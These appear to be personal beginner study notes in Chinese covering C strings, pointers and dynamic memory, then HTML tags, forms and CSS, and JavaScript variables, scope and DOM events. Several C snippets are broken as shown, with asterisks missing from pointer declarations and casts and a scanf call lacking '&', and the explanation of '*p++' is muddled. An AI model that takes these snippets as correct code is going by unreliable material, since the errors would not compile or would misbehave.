	char *str ="Hello""World"
	/* 实际上是六个字节，因为编译器会自动加 \0。连续的字符串会自动拼成一个
	等价于。这种写法等同于上面那个字符串的写法（编译后）。*/
	char *str ="Hello\
	World" // 注意，这样上下俩行的连接会带上 Tab, 这样防止太长，不好看。

但是不能用字符串来运算

字符串数组前默认有 const, 不能修改

在编译时就已经确定，如果存在字面量相同的，那么会指向同一个地方

想要修改，就只能是普通的字符数组（实际上它们储存的位置都不一样）

char * 不一定是指向字符串，它也可以用来指向普通的字符数组，

用它来直接定义的，一定是字符串（这一句必需初始化，否则只是普通的指针）。（不能是空指针）

字符串数组输出时，用 % s

一个 % s 只会读到空格前，继续输出才行。

// 这是不安全的，因为不知道实际输入可能有多长，可能发生数组越界

限制输入可以用 %7s (表示最多读 7 个，多余的会放到下一个 scanf（如有），这意味着可以不用回车同时输入上下多个 scanf), 但是若某一个要输入的长度小于 7，必需在输入完这个后回车再继续

# main 函数的参数：

argc [0]: 一定是 a.out（该程序名）, 程序刚开始时的输入会放到后面（空格分隔）

这是使用符号链接来启动程序（符号版快捷方式？）

# Ⅲ. 不知道是什么

# 一。辗转相除法

(更为高效)

算法内容：

如果 b=0，计算结束，a 就是最大公约数，否则，计算 a 除以 b 的余数，让 a=b, 而 b

等于那个余数，回到第一步

演示：

a b t

12 18 12 // 这里实现了交换

18 12 6

12 6 0

6 0

所以，最大公约数是 6

# Ⅳ. 指针

# 从入门到放弃

# 1. 取址符 (&)

int i=&i    //会有warning,强制类型转换可以消除
//在64位下typeof(&i)是8个字节，32位下和int一样4字节
地址输出用%p

取地址不能有运算

数组的指针默认是指向第一个元素的地址，数组在内存中是连续的。

数组越界，要传递数组大小，就是因为数组本身就是一个指针，没有边界检查。

# 2. 指针类型的变量

int *p = &i    //p 在内存中得到的是 i 的地址，称为 p 指向 i

int* p,q和int *p,q 是一样的，此时q都是普通的int  // 不存在 int * 类型！！

    定义只再次使用*p就是解引用，值为指向的地址的内容这里类型就是int（每次都要）。

*p 就是 i, 这样就可以访问外面的变量

scanf 就是把你传入的数据写到那个变量的地址上，如果不加 &，会把变量名当作地址，写到别的地方去（没有类型检查）

# 3. 指针使用

# 1. 在函数中交换变量

使用 * 变量就可以间接对 main 函数的变量改变

指针常用于返回值，尤其是多个 (return 只能返回一个)

为了区分返回，函数返回状态值，指针返回数据值 (所以最后常来 return 0)

注意：

*p 必须先指向一个变量，再 * p 赋值，否则那个值会被当成是地址

# 2. 传入数组

传入的实际上不是数组，而是指向这个数组的指针 (C 语言中只能传数值是这样的)

函数参数表中的数组，实际上是个指针，在 [] 中写东西，是完全没有用的

这就是说，你可以直接将数组传入一个指针

数组变量是一个特殊的指针，单个单元都是变量，而且在内存中是连续的（与指针数组不一样）

数组 = const 指针 (所以数组不能互相赋值)

int b []-----int const *b，此时不能用 b++,

在 C99 中：

被 const 的指针指向的变量可以变，但是不能是通过 const 指针

int i;
const int* p1 = &i;    //实际上是const *p,也就是*p/i（解引后的值）不能改，但是p（地址）可以改
int const* p2 = &i;    //同上
int *const p3 = &i;    //p（地址）不能改，但是*p/i可以

const int b []: 表示里面的所有都是常量，这可以在变量原型中写，就不会改变传入数组的值

# 3. 指针运算

# +，-

p++, 实际上是加了一个类型的大小 (+1 就是加一个类型大小，sizeof)

*p++(常用于数组类的连续操作)： ++ 的优先级比解引用操作符 * 的优先级高。在表达式 *p++ 中， ++ 操作符会先于 * 操作符被执行。这意味着 p 指针首先会增加，然后 * 操作符会解引用增加后的指针。

但是，由于 p++ 是一个后缀递增操作符，它返回的是递增前的指针值。所以，即使 p 指针在 * 操作之前已经递增了， *p++ 表达式仍然会返回递增前的指针指向的值。

人话：表达式的值还是 * p, 但是这句之后指针指向 *(p+1)

	q=a[0]--------(q+1)=a[1] //* 是单目运算符，所以加 ()
	指针也可以相减，是两者之间的距离（地址差/sizeof）

# 其他运算

<，<=，==，>，>=，!=(地址大小比较，数组是递增排列的)

# 0 地址

所有进程都有 0 地址（都是虚拟地址），也是不能写的，有的系统，不能读。

特殊事情包括：1. 初始化（没赋值就崩溃）

2. 返回值（这事成不了！）

NULL: 必须全大写，有的编译器只能用 NULL，0 和 NULL 反而不一样

# 赋值

必需同类型，因为不同类型的 sizeof 不一样。

# 4. 指针类型转化

注：强制类型转化的作用都只限于该句

# 5. 指针用处

# 4. 动态内存分配

1.malloc()

C99 之前不能用变量定义数组大小，所以：

	int a=(int)malloc(n*sizeof(int)); //malloc, 用于分配内存，需要 & lt;stdlib.h>
	// 用法：
	malloc(size_t size) // 不能传递类型，所以 sizeof (以字节为单位)，返回的是 void,(int）// 上面就是指针赋值，前面用于指定类型 (这样才能赋值)
	// 就是在转化
	然后就可以当数组了

如果申请空间失败，会返回 0 或者 NULL，还能用于推出循环，比如

会报错，但是不会终止程序，还会向下进行。

2.free()

只能还申请空间 (不是申请的不行) 的首地址，否则会报错并终止（有运算也地搞回来）

free (NULL)：什么事情都不会发生，因为指针一般习惯上会初始化为 0，要是没用到，也不会报错

切记：malloc () 最后一定要接 free (), 但是不要再次 free

# EXTRA

来自菜鸟教程 (?)

# 指针数组：

把 ptr 声明为一个数组，由 MAX 个整数指针组成。因此，ptr 中的每个元素，都是一个指向 int 值的指针。

	#include <stdio.h>
	const int MAX = 3;
	int main (){
	int var[] = {10, 100, 200};
	int i, *ptr[MAX];
	for ( i = 0; i < MAX; i++){
	ptr[i] = &var[i]; /* 赋值为整数的地址 */
	}
	for ( i = 0; i < MAX; i++){
	printf("Value of var[%d] = %d\n", i, *ptr[i] );
	}
	return 0;
	}


	还可以有字符串指针数组
	char *a[]={"Hello","World","aadfdfefcrverg"}
	//a[1]=Hello,a[2]=World...

也可以用一个指向字符的指针数组来存储一个字符串列表，如下：

	#include <stdio.h>

	const int MAX = 4;

	int main (){
	const char *names[] = {
	"Zara Ali",
	"Hina Ali",
	"Nuha Ali",
	"Sara Ali",
	};
	int i = 0;
	for ( i = 0; i < MAX; i++){
	printf("Value of names[%d] = %s\n", i, names[i] );
	}
	return 0;
	}

这跟普通数组相比，地址是不连续的，运算方法一样。

字符指针数组可以达到和枚举相似的效果：

	char *s[3]={"apple","bpple","cpple"};
	int a;
	scanf("%d",a);
	print("%s",s[a]);
	// 这样就可以将数字 (作为索引) 对应上字符串

# 指向指针的指针：

纯套娃，定义就是 int **var 等

这种变量解引用一次后得到的就是被指向的指针，仍然是个地址

	#include <stdio.h>

	int main ()
	{
	int V;
	int *Pt1;
	int **Pt2;
	V = 100;
	/* 获取 V 的地址 */
	Pt1 = &V;
	/* 使用运算符 & 获取 Pt1 的地址 */
	Pt2 = &Pt1;
	/* 使用 pptr 获取值 */
	printf("var = %d\n", V );
	printf("Pt1 = %p\n", Pt1 );
	printf("Pt1 = %d\n", Pt1 );
	printf("Pt2 = %p\n", Pt2 );
	printf("Pt2 = %d\n", Pt2);
	return 0;
	}

# 返回指针的函数：

定义：int * myFunction ()

C 语言不支持在调用函数时返回局部变量的地址，除非定义局部变量为 static 变量

	#include <stdio.h>
	#include <time.h>
	#include <stdlib.h>

	/* 要生成和返回随机数的函数 */
	int * getRandom( )
	{
	static int r[10]; // 这样结束后只是不可见，不会销毁，可以传递其值
	int i;

	/* 设置种子 */
	srand( (unsigned)time( NULL ) ); //srand () 用于初始化 rand (),null 其实是默认
	for ( i = 0; i < 10; ++i) // 获取时间是为了保障 rand () 的随机，否则多次调用时可能会重复
	{
	r[i] = rand();
	printf("%d\n", r[i] );
	}

	return r;
	}

	/* 要调用上面定义函数的主函数 */
	int main ()
	{
	/* 一个指向整数的指针 */
	int *p;
	int i;

	p = getRandom();
	for ( i = 0; i < 10; i++ )
	{
	printf("(p + [%d]) : %d\n", i, (p + i) );
	}

	return 0;
	}

# 函数指针：

定义

typedef int (*fun_ptr)(int,int);  // 声明一个指向同样参数、返回值的函数指针类型

fun_ptr a=max;  // 声明这个类型，只是为了在这句定义里检查类型是否符合，其实就是类型检查，还有就是方便修改，不用一个一个改类型，同时方便创建

...

# 回调函数：

函数指针作为某个函数的参数

可以根据不同的条件调用不同的函数，比较灵活

	#include <stdlib.h>
	#include <stdio.h>

	void populate_array(int array, size_t arraySize, int (getNextValue)(void))
	{
	for (size_t i=0; i<arraySize; i++)
	array[i] = getNextValue();
	}

	// 获取随机值
	int getNextRandomValue(void)
	{
	return rand();
	}

	int main(void)
	{
	int myarray[10];
	/* getNextRandomValue 不能加括号，否则无法编译，因为加上括号之后相当于传入此参数时传入了 int （函数的返回值）, 而不是函数指针 */
	populate_array(myarray, 10, getNextRandomValue);
	for(int i = 0; i < 10; i++) {
	printf("%d ", myarray[i]);
	}
	printf("\n");
	return 0;
	}

HTML

2024-10-14T05:21:05.000Z

# HTML

# 0.e...

// 后缀是.htm 或.html

// 要运行的话浏览器里输入路径就行

//<> 中的就是关键词，通常成对出现。（即 < xx> 和 </xx>）

// 开始和结束标签（<xx> 与 </xx>）, 也叫开放标签和闭合标签

1.html 本身是一种标记语言（超文本标记语言， Hyper Text Markup Language ），而不是编程语言，是一套编辑标签。（使用其来描述网页）

2.html 可以使用记事本来写

也有专业的：

Adobe Dreamweaver
Microsoft Expression Web
CoffeeCup HTML Editor

# 1. 标签

# 一般

#还有部分在文本格式化

<html>：文本描述网页，写在最前和最后
<body>：可见页面文本,是文档的主体
<h1/2/3/4/5/6>：标题，会自动空行
<p>：段落，也会自动空行
#块级元素都会自动空行#
<br />：没有关闭标签的空元素（定义换行），似乎<br />也可以用来创建列表
*#连续的空格或者空行（换行），都会变成一个空格，这包括空白字符和回车#
<hr />：用于分割内容，创建水平线，单个出现

*：这是为了在拖动浏览器窗口时，还能正常显示。如果想要保留，可以使用 <pre>（预格式文本）标签，这适合显示代码（也有其他专门为显示代码的，见文本格式化）

# 特殊

# 1. 锚 (a)

<p><a href="网页链接或者另一个html（需要路径）" style="text-decoration:none" target="_blank">link</a></p>

// 这时 link 是个超链接

style 用于去除默认带的下划线

target 表示在新窗口打开

href 属性还可以链接邮件

写成 (%20 用于代替空格)

<a href="mailto:someone@microsoft.com?subject=Hello%20again">发送邮件</a>

<a> 还有 name 属性，用于定义锚。不会直观体现，但可以被链接，注意被调用时是写 name 的属性，而不是 <a> 的元素

# 2. 图像 (img)

动图一样

<img src="图片地址" width="104" height="142" border="0" />

//<img> 不是闭合标签，并且套在 < p > 时会和该文本对齐（默认底部）

//border 是边框

//width 和 height 实际上是调整大小，而不是定义

<del>src 其实是是 scource 的意思 </del>

最后的 / 不能省略

其他属性：

alt: 替换文本，当不能正常加载图片时显示，很多时候鼠标移上去也会

其它图像插入：

// 背景图像，写在 body 里，只能.jpg 或.gif，小了会重复

# 3.map 与 area

这个不太好说，自己体会

	<html>
	<body>

	<p>请点击图像上的星球，把它们放大。</p>

	<img
	src="/i/eg_planets.jpg"
	border="0" usemap="#planetmap"
	alt="Planets" />

	<map name="planetmap" id="planetmap">

	<area
	shape="circle"
	coords="180,139,14"
	href ="/example/html/venus.html"
	target ="_blank"
	alt="Venus" />

	<area
	shape="circle"
	coords="129,161,10"
	href ="/example/html/mercur.html"
	target ="_blank"
	alt="Mercury" />

	<area
	shape="rect"
	coords="0,0,110,260"
	href ="/example/html/sun.html"
	target ="_blank"
	alt="Sun" />

	</map>

	<p><b>注释：</b>img 元素中的 "usemap" 属性引用 map 元素中的 "id" 或 "name" 属性（根据浏览器），所以我们同时向 map 元素添加了 "id" 和 "name" 属性。</p>

	</body>
	</html>

# 4. 表格 (table)

	<table border="1">
	//有background属性，同插入背景图像的写法，不在style里
	<tr>
	<th>Heading</th>
	<th>Another Heading</th>
	<td>row 1, cell 1</td> //有background属性，同上。也有align,同样不在
	<td>row 1, cell 2</td>
	</tr>
	<tr>
	<td>row 2, cell 1</td>
	<td>row 2, cell 2</td>
	</tr>
	</table>
	//tr定义行（之间为一行）
	//td分割行形成单元格（之间的为数据可以是文本、图片、列表、段落、表单、水平线、表格等等(普通，左对齐)
	//th是表头(居中粗体，就是不会动的那个，自带td)
	//border为1时有边框，默认为0
	//有时空单不会显示，缺少单元格边框，可以填个空格（&nbsp）来防止
	//表格的单元格里可以嵌套表格，列表
	#table的其他参数有：
	frame(分割线的位置)：box,above,below,hsides(上下)，vsides(左右)
	cellpadding/cellspacing：单元格边距/间距，参数只有数字

th 的参数：colspan="x", 横跨 x 列

rowspan="x", 横跨 x 行

其他表格标签：

# 5. 列表 (ul/ol)

A. 无序列表

	<ul>
	<li>咖啡</li>
	<li>茶</li>
	<li>牛奶</li>
	</ul> //每行前面一个点的那种

B. 无序列表

	<ol start="50">
	<li>咖啡</li>
	<li>牛奶</li>
	<li>茶</li>
	</ol> //start属性就是第一个排序数字，默认从1开始

# 6. 类

将 html 元素分成各个类，并按类分别定义不同样式（可以使用 CSS 样式）

比如：

	<html>
	<head>
	<style>
	.cities {
	background-color:black;
	color:white;
	margin:20px; //（设定）外边距，可以使用百分比
	padding:20px; //填充（边距），可以使用百分比
	}
	</style>
	</head>

	<body>

	<div class="cities">
	<h2>London</h2>
	<p>London is the capital city of England.
	It is the most populous city in the United Kingdom,
	with a metropolitan area of over 13 million inhabitants.</p>
	</div>

	<div class="cities">
	<h2>Paris</h2>
	<p>Paris is the capital and most populous city of France.</p>
	</div>

	<div class="cities">
	<h2>Tokyo</h2>
	<p>Tokyo is the capital of Japan, the center of the Greater Tokyo Area,
	and the most populous metropolitan area in the world.</p>
	</div>

	</body>
	</html>

自己看咯～跟下面块的一样，方便搞类似的样式内容

# 7.id

与 class 不同，它必需是唯一的，这涉及到 js

位于文件头的 <style> 与 </style>> 中，格式：

	#myHeader {
	background-color: lightblue;
	color: black;
	padding: 40px;
	text-align: center;
	} //id名和值在在该html中必须唯一，区分大小写

后面属性就可以直接调用该 id，比如：

<h1 id="myHeader">My Header</h1>

id 还可以创建书签：

<h2 id="C4">第四章</h2>   //创建

<a href="#C4">跳转到第四章</a>   //html内部使用跳转

	<a href="html_demo.html#C4">Jump to Chapter 4</a>
	//从另一页面跳转

# 8. 块 (div/span)

// 这两者本身没有什么意义，可以用 CSS 来样式设置

HTML 元素分为块级元素和内联元素两种：

块级元素在浏览器显示时，通常会以新行来开始或结束 // <h1>, <p>, <ul>, <table>

内联元素在显示时通常不会以新行开始 // <b>, <td>, <a>, <img>

A.<div>(块级元素)

<div> 标签定义 HTML 文档中的分割或部分（分区或小节，division/section）。

<div> 标签可以把文档分割为独立的、不同的部分。它可以用作严格的组织工具，并且不使用任何格式与其关联

任何类型的内容都可以放在标签内！标签可用作 HTML 元素的容器，然后使用 CSS 设置样式或使用 JavaScript 进行操作。

如果用 id 或 class 来标记 <div>，那么该标签的作用会变得更加有效。通过使用 class 或 id 属性，可以轻松地对 <div> 标签设置样式。

注意：默认情况下，浏览器总是在 <div> 元素前后放置一个换行符。

<div> 是块级元素。这意味着它的内容自动地开始一个新行。实际上，换行是 <div> 固有的唯一格式表现。可以通过 <div> 的 class 或 id 应用额外的样式。

属性：

class 用于元素组（某一类元素），而 id 标识唯一元素

比如：

	<div class="myDiv">
	<h2>这是 div 元素中的标题</h2>
	<p>这是 div 元素中的一些文本。</p>
	</div> //定义方法同id，但是前面的#换成.

B.<span>(内联元素)

<p> 这位姑娘有一双 < span style="color:blue;font-weight:bold"> 蓝色 </span > 的眼睛。</p> :: 其实就是给行内部分加 style，div 则是为多行加上 style

# x. 注释

也有条件注释：

// 这表示只在 IE 显示

# 2. 语法

HTML 元素以开始标签起始
HTML 元素以结束标签终止
元素的内容是开始标签与结束标签之间的内容
某些 HTML 元素具有空内容 (没有内容的 HTML 元素被称为空元素)
[空元素]( 没有内容的 HTML 元素被称为空元素。空元素是在开始标签中关闭的。在 XHTML、XML 以及未来版本的 HTML 中，所有元素都必须被关闭。在开始标签中添加斜杠，比如 <br />，是关闭空元素的正确方法，HTML、XHTML 和 XML 都接受这种方式。即使 <br> 在所有浏览器中都是有效的，但使用 <br /> 其实是更长远的保障。 ) 在开始标签中关闭，以开始标签的结束而结束
大多数 HTML 元素可拥有属性

// 大多 html 可以嵌套

比如：<p>This is<br />a para<br />graph with line breaks</p>

# 属性

#必须加引号

[# 参考手册](完整的：https://www.w3school.com.cn/tags/index.asp 标准属性的：https://www.w3school.com.cn/tags/html_ref_standardattributes.asp)

总是以名称 / 值对的形式出现，比如：name="value"。（像是上面的 <a>）

总是在 HTML 元素的开始标签中规定。

比如：

<h1> 定义标题的开始。

<h1 align="center"> 拥有关于对齐方式的附加信息。

<h1> 定义标题的开始。

<h1 align="center"> 拥有关于对齐方式的附加信息。

<body> 定义 HTML 文档的主体。

<body bgcolor="yellow"> 拥有关于背景颜色的。

<table> 定义HTML表格
<table border="1"> 拥有关于表格边框的附加信息

# 1.style

align	定义文本的对齐方式
bgcolor	定义背景颜色
color	定义文本颜色

写成

<body style="background-color:yellow">  //设置背景色

<h2 style="background-color:red">This is a heading</h2> //同上

	<p style="font-family:arial;color:red;font-size:20px;text-align:center;">A paragraph.</p>
	//设置字体，字体颜色，字体大小,水平对齐方式

# 2. 文本格式化

一般操作：

<b>/<strong>：加粗

<big>：加大

<small>：缩小

<em>/<i>：强调（斜体）

<sub>/<sup>：下标 / 上标

用于计算机输入输出：

<code>：代码

<kbd>：键盘输入

<samp>：例子

<var>：变量

？：

<address>： 该元素定义文档或文章的联系信息（作者 / 拥有者）。

**<cite>：** 定义著作标题，默认斜体，需要 < p>

**<acronmy title="wo wo wo">www<acronym>：** 首字母缩写

#鼠标移上去显示完整

不同于 <addr>, 这个不能定义其它缩写，但是不用 < p>(<addr> 的用法也可用于 <dfn>，不给参数的 <dfn> 当作没有，但不会错)

<bdo dir="rtl">：即 bi-directional override

#需要浏览器支持，rtl 实际上是 right to left, 这会是下面内容的实际输出顺序

**<blockquote>/<q>：** 长引用 / 短引用，前者自带换行，边距，缩进。后者没有。

#blockquote 可以跟参数，但是没什么用，一般是被引用内容的网址

**<del>：** 删除文本（其实就是中间划线）

**<ins>：** 下划线 3.

#老旧浏览器可能不支持 del 和 ins, 只会普通显示

# 3. 颜色

命名的有：

aqua, black, blue, fuchsia, gray, green, lime, maroon, navy, olive, purple, red, silver, teal, white, yellow

// 就这 16 个

其他写成：

#00FF00 // 十六进制，相当于 rgb (0,255,0), 按顺序看，这其实就是绿色

# 4.css (的调用)

<head>
<style type="text/css">
h1 {color: red}
p {color: blue}
</style>
</head>

// 外部样式表和内部样式表都在 head 里放前面，只有内联样式在 body 里

外部样式表会改变所有页面，内部可以指定特定，内联则只有个别元素

外部用 link

	<head>
	<link rel="stylesheet" type="text/css" href="mystyle.css">
	</head>

内部和内联用 style

	<head>
	<style type="text/css">
	body {background-color: red}
	p {margin-left: 20px}
	</style>
	</head>

	<p style="color: red; margin-left: 20px">
	This is a paragraph
	</p>

# 3. 表单

表单元素指的是不同类型的 input 元素、复选框、单选按钮、提交按钮等等。

这是本章中使用的类型：

类型	描述
text	定义常规文本输入。
radio	定义单选按钮输入（选择多个选择之一）
submit	定义提交按钮（提交表单）// 需要 action 属性，省略会变成当前页面

例如：

	<form>
	First name:<br>
	<input type="text" name="firstname"> //name属性的值就是被你所输入的
	<br> 文本赋值的变量
	Last name:<br>
	<input type="text" name="lastname">
	</form>
	//文本默认宽度只有20

以及

	<form>
	<input type="radio" name="sex" value="male" checked>Male
	//checked表示被选中
	<br>
	<input type="radio" name="sex" value="female">Female
	</form>

还有

	<form action="action_page.php">
	First name:<br>
	<input type="text" name="firstname" value="Mickey">
	<br>
	Last name:<br>
	<input type="text" name="lastname" value="Mouse">
	<br><br>
	<input type="submit" value="Submit">
	</form>

可以使用 min 和 max 属性限制输入值的范围

# 题外话：

这个 head 疑似是用来添加请求头参数的，存在：

<p id="js_and_id">HTML JavaScript</p>

JavaScript

2024-10-14T05:21:05.000Z

# JS

# Ⅰ. 显示数据

使用 window.alert() 弹出警告框。
使用 document.write() 方法将内容写到 HTML 文档中。
使用 innerHTML 写入到 HTML 元素。
使用 console.log() 写入到浏览器的控制台。

# 1.window.alert()

这之中可以进行运算，如果输出不是字符，可以不要”“

操作 HTML 元素

如需从 JavaScript 访问某个 HTML 元素，您可以使用 document.getElementById (id) 方法。

请使用 "id" 属性来标识 HTML 元素，并 innerHTML 来获取或插入元素内容：

例如：

	<!DOCTYPE html>
	<html>
	<body>
	<h1>我的第一个 Web 页面</h1>
	<p id="demo">我的第一个段落</p> //使用标签来获取
	<script>
	document.getElementById("demo").innerHTML = "段落已修改。";
	</script>
	</body>
	</html> //注意这是一个覆盖操作，js对大小写很敏感

# 2.document.write()

如果在文档已完成加载后执行 document.write，整个 HTML 页面将被覆盖

网页加载后输出流就已经停止，重新调用 document.write () 就会发生覆盖，

事实上 write 方法会隐性调用 open 方法写一个新的文档（所以要加标签），如果强制使用 close 方法，会直接输出所有缓存的输出内容，理论上一旦调用了 close 方法，就不能在用 write，这样也会覆盖

# 3.console.log()

其中为输出的变量，这是写在控制台用于调试（F12），不会出现在网页上

# Ⅱ. 语法

// 注释方法同 C 语言

# 1. 字面量

# 数字（Number）

可以是整数或者是小数，或者是科学计数 (e)，输出时不会使用科学计数法

# 字符串（String）

可以使用单引号或双引号:

# 表达式

用于计算：比如 1/1

# 数组（Array）

定义一个数组：[]

定义方法：

	var cars=new Array();
	cars[0]="Saab"; // 数组的寻址从 0 开始，可以创建空数组
	cars[1]="Volvo";
	cars[2]="BMW";
	// 或者
	var cars=new Array("Saab","Volvo","BMW");
	// 再或者
	var cars=new Array("Saab","Volvo","BMW");
	// 最简单的
	var cars=["Saab","Volvo","BMW"];

注意：typeof 不能区分数组和对象，都会输出对象，要用：

if(car instanceof Array){
document.write("是数组")
}

对象（Object）字面量

定义一个对象：

定义方法：

	var person={firstname:"John", lastname:"Doe", id:5566};
	// 或者
	var person={
	firstname : "John",
	lastname : "Doe",
	id : 5566
	}; // 其实就是无所谓折行
	// 或者
	var people = new Object();
	people.name = 'Tom';
	people.age = 21;
	people.eat = function(){ } // 追加属性和方法

寻址方式：

name=person.lastname;
name=person["lastname"];

# 函数（Function）

定义一个函数： function myFunction (a, b)

带参数的变量使用：

	<p>点击这个按钮，来调用带参数的函数。</p>
	<button onclick="myFunction('Harry Potter','Wizard')">
	点击这里 //可以发送任意多的参数，变量接受参数时是按顺序的
	</button>
	<script>
	function myFunction(name,job){ // 参数要作为变量声明
	alert("Welcome " + name + ", the " + job);
	}
	</script>

带有返回值的函数：和 C 一样 return 变量；

注意： 整个 JavaScript 并不会停止执行，仅仅是函数。JavaScript 将继续执行代码，从调用函数的地方。

如果只是想退出函数，不继续执行，那么 return 可以不带任何参数

# 2. 变量

	<script>
	var length; // 不管什么类型，都是用 var
	length = 6;
	document.getElementById("demo").innerHTML = length;
	// 只会获取第一个出现的
	</script>

//undefined 和 [null](用于清空变量，var a=null)

如果在判断之后输出，都会是 undifined

// 字面量是不可变的运算符同样可以出现在赋值中

// 和 python 一样，变量是动态类型，可以使用 typeof () 来查看变量类型

// 存在布尔量，写为 var x=true/false;

# 运算符

类型	实例	描述
赋值，算术和位运算符	= + - * /	在 JS 运算符中描述
条件，比较及逻辑运算符	== != < >	在 JS 比较运算符中描述

function 用于定义函数在 {} 之间的会一并执行

js 会忽略多余的空格，可以随便加以提高可读性

可以在字符串中使用 \ 折行，可以正常显示

JavaScript 是脚本语言，浏览器会在读取代码时，逐行地执行脚本代码。而对于传统编程来说，会在执行前对所有代码进行编译。

# 声明变量类型

可以使用关键词 "new" 来声明其类型：

	var carname=new String;
	var x= new Number;
	var y= new Boolean;
	var cars= new Array;
	var person= new Object;

# 对象属性

[JavaScript 变量均为对象](可以说 "JavaScript 对象是变量的容器"。但是，我们通常认为 "JavaScript 对象是键值对的容器"。键值对通常写法为 name : value (键与值以冒号分割)。键值对在 JavaScript 对象通常称为对象属性。 JavaScript 对象是属性变量的容器)

访问对象属性的方法：

	person.lastName;
	// 或者
	person["lastName"]; // 这些表达式相当于一个普通变量

# 对象方法

对象的方法定义了一个函数，并作为对象的属性存储。

对象方法通过添加 () 调用 (作为一个函数)。

	var person = {
	firstName: "John",
	lastName : "Doe",
	id : 5566,
	fullName : function()
	{
	return this.firstName + " " + this.lastName;
	} //this 其实等价于 person
	}; // 其实就是将函数作为对象属性（实际上是它的返回值）

访问对象方法

创建：

methodName : function() {
    // 代码 
}

访问：

	var person = {
	firstName: "John",
	lastName : "Doe",
	id : 5566,
	fullName : function()
	{
	return this.firstName + " " + this.lastName;
	}
	};
	document.getElementById("demo").innerHTML = person.fullName();
	// 这时函数是 person 对象的一个方法，如果作为属性访问【即不加 ()】，会返回函数的定义

# EX 局部变量

在 JavaScript 函数内部声明的变量（使用 var）是局部变量，所以只能在函数内部访问它。（该变量的作用域是局部的）。

您可以在不同的函数中使用名称相同的局部变量，因为只有声明过该变量的函数才能识别出该变量。

只要函数运行完毕，本地变量就会被删除。

不在函数内声明的就是全局变量，它会在页面关闭后删除（这就是变量的生命周期）

# BEFORE 作用域

# 作用域类型

全局作用域：
- 全局作用域中的变量在整个程序中都可以访问。
- 例如，在浏览器中，全局作用域由 window 对象表示。
函数作用域：
- 函数作用域中的变量只能在该函数内部访问。
- 当函数执行完毕后，函数作用域中的变量通常会被销毁。
块级作用域：
- 块级作用域中的变量只能在特定的代码块（如 if 语句、 for 循环、 while 循环等）内部访问。
- JavaScript ES6 引入了 let 和 const 关键字，允许在块级作用域中声明变量。

# 作用域链

作用域链是一系列嵌套的作用域，从当前作用域开始，一直到全局作用域结束。当查找变量时，JavaScript 引擎会沿着作用域链向上查找，直到找到该变量或到达全局作用域。

# EX 未声明的变量

如果您把值赋给尚未声明的变量，该变量将被自动作为 window 的一个属性。

var 声明的属于不可配置全局属性，没有则是 [可配置全局属性](非严格模式下给未声明变量赋值创建的全局变量，是全局对象的可配置属性，可以使用 delete var 删除。)

在 HTML 中，全局变量是 window 对象，所以 window 对象可以调用函数内的未声明（未加 var) 的局部变量。

** 注意：** 所有数据变量都属于 [window 对象]( 全局变量，或者函数，可以覆盖 window 对象的变量或者函数，因此，自设变量时尽量不要和已有的 window 变量或函数重名，这样会覆盖掉。局部变量，包括 window 对象可以覆盖全局变量和函数。 )。

# 外部访问局部变量

** 通过全局对象：** 在函数内部，可以通过将局部变量赋值给 window 对象的属性来使其成为全局可访问的。例如，使用 window.a = a; 语句，可以在函数外部通过 window.a 访问到这个局部变量的值。

** 定义全局变量：** 在函数内部不使用 var、let 或 const 等关键字声明变量时，该变量会被视为全局变量，从而可以在函数外部访问。但这种做法通常不推荐，因为它可能导致意外的副作用和代码难以维护。

** 返回值：** 可以通过在函数内部使用 return 语句返回局部变量的值，然后在函数外部接收这个返回值。这样，虽然局部变量本身不会被暴露，但其值可以通过函数调用传递到外部。

** 闭包：**JavaScript 中的闭包特性允许内部函数访问外部函数的局部变量。即使外部函数执行完毕后，其局部变量仍然可以被内部函数引用。

** 属性和方法：** 定义在全局作用域中的变量和函数都会变成 window 对象的属性和方法，因此可以在调用时省略 window，直接使用变量名或函数名。

闭包的一个重要特性是它们可以访问创建时的作用域，即使外部函数已经执行完毕。这意味着闭包可以访问外部函数的局部变量，即使这些变量在外部函数执行完毕后仍然存在。

# 3. 事件

# DOM

通过 [HTML DOM](当网页被加载时，浏览器会创建页面的文档对象模型（Document Object Model）。)，可访问 JavaScript HTML 文档的所有元素。

HTML DOM 模型被构造为对象的树：

js 可以改变页面中的：

html 元素，html 属性（属性本身实际上也以是 js），css 样式

还可以对事件做出反应

# Ⅰ. 查找 HTML 元素

# 通过 id 找到 HTML

	var x=document.getElementById("intro"); // 未找到就是 null
	// 返回是以对象（在 x 中）的形式，即 x.innerHTML

# 通过标签名找到 HTML

	var y=x.getElementsByTagName("p"); // 就是找标签是 & lt;p>
	// 返回是个数组，形式同上，即 y [0].innerHTML

# 通过类名找到 HTML

	var x=document.getElementsByClassName("intro");
	// 返回同标签名

# Ⅱ. 改变 HTML

# 1. 输出流

document.write()

# 2. 内容

	document.getElementById("id").innerHTML="新的 HTML"
	// 顺带一提，getElementById () 是方法，innerHTML 是属性，可以套

# 3. 属性

	document.getElementById("id").attribute="新属性值"
	// 改的是值，不是 HTML 属性本身，attribute 是要改的 HTML 属性（不是对象属性）

# 4. 样式 (css)

	document.getElementById(id).style.property=新样式
	//property 就是 style 属性下的 color 等。有横线的都去掉换成下一个字母大写（?）

# 5. 使用事件

包括但不限于：

元素被点击。
页面加载完成。
输入框被修改。

比如：

	<button type="button" onclick="document.getElementById('id1').style.color='red'">
	<--就是说可以当属性值,也可以调用函数-->
	这就是HTML事件属性

还有：

	<p id="p1">这是一个文本。这是一个文本。这是一个文本。这是一个文本。这是一个文本。这是一个文本。这是一个文本。</p>
	<input type="button" value="隐藏文本" onclick="document.getElementById('p1').style.visibility='hidden'" />
	<input type="button" value="显示文本" onclick="document.getElementById('p1').style.visibility='visible'" />
	<--visibility就是设置是否可见-->

# 6. 事件反应

包括但不限于：

当用户点击鼠标时
当网页已加载时
当图像已加载时
当鼠标移动到元素上时
当输入字段被改变时
当提交 HTML 表单时
当用户触发按键时

比如：

	<h1 onclick="this.innerHTML='Ooops!'">点击文本!</h1>
	//替换文本

除了 onclick 事件之外，还有：

# onload 与 onunload

<-- 它们用于处理 cookie，onload 还用于事先检测访问者的浏览器类型和版本 -->

# onchange

	<script>
	function myFunction(){
	var x=document.getElementById("fname");
	x.value=x.value.toUpperCase();
	}
	//value 就是你输入的值（所以事先输入的 value 是初始值！！！）
	//toUpperCase () 是内置函数，用于小写转大写，对其他没有影响
	</script>
	<body>
	输入你的名字:
	<input type="text" id="fname" onchange="myFunction()">
	<p>当你离开输入框后，函数将被触发，将小写字母转为大写字母。</p>
	</body>

# onmouseover 和 onmouseout

	<body>
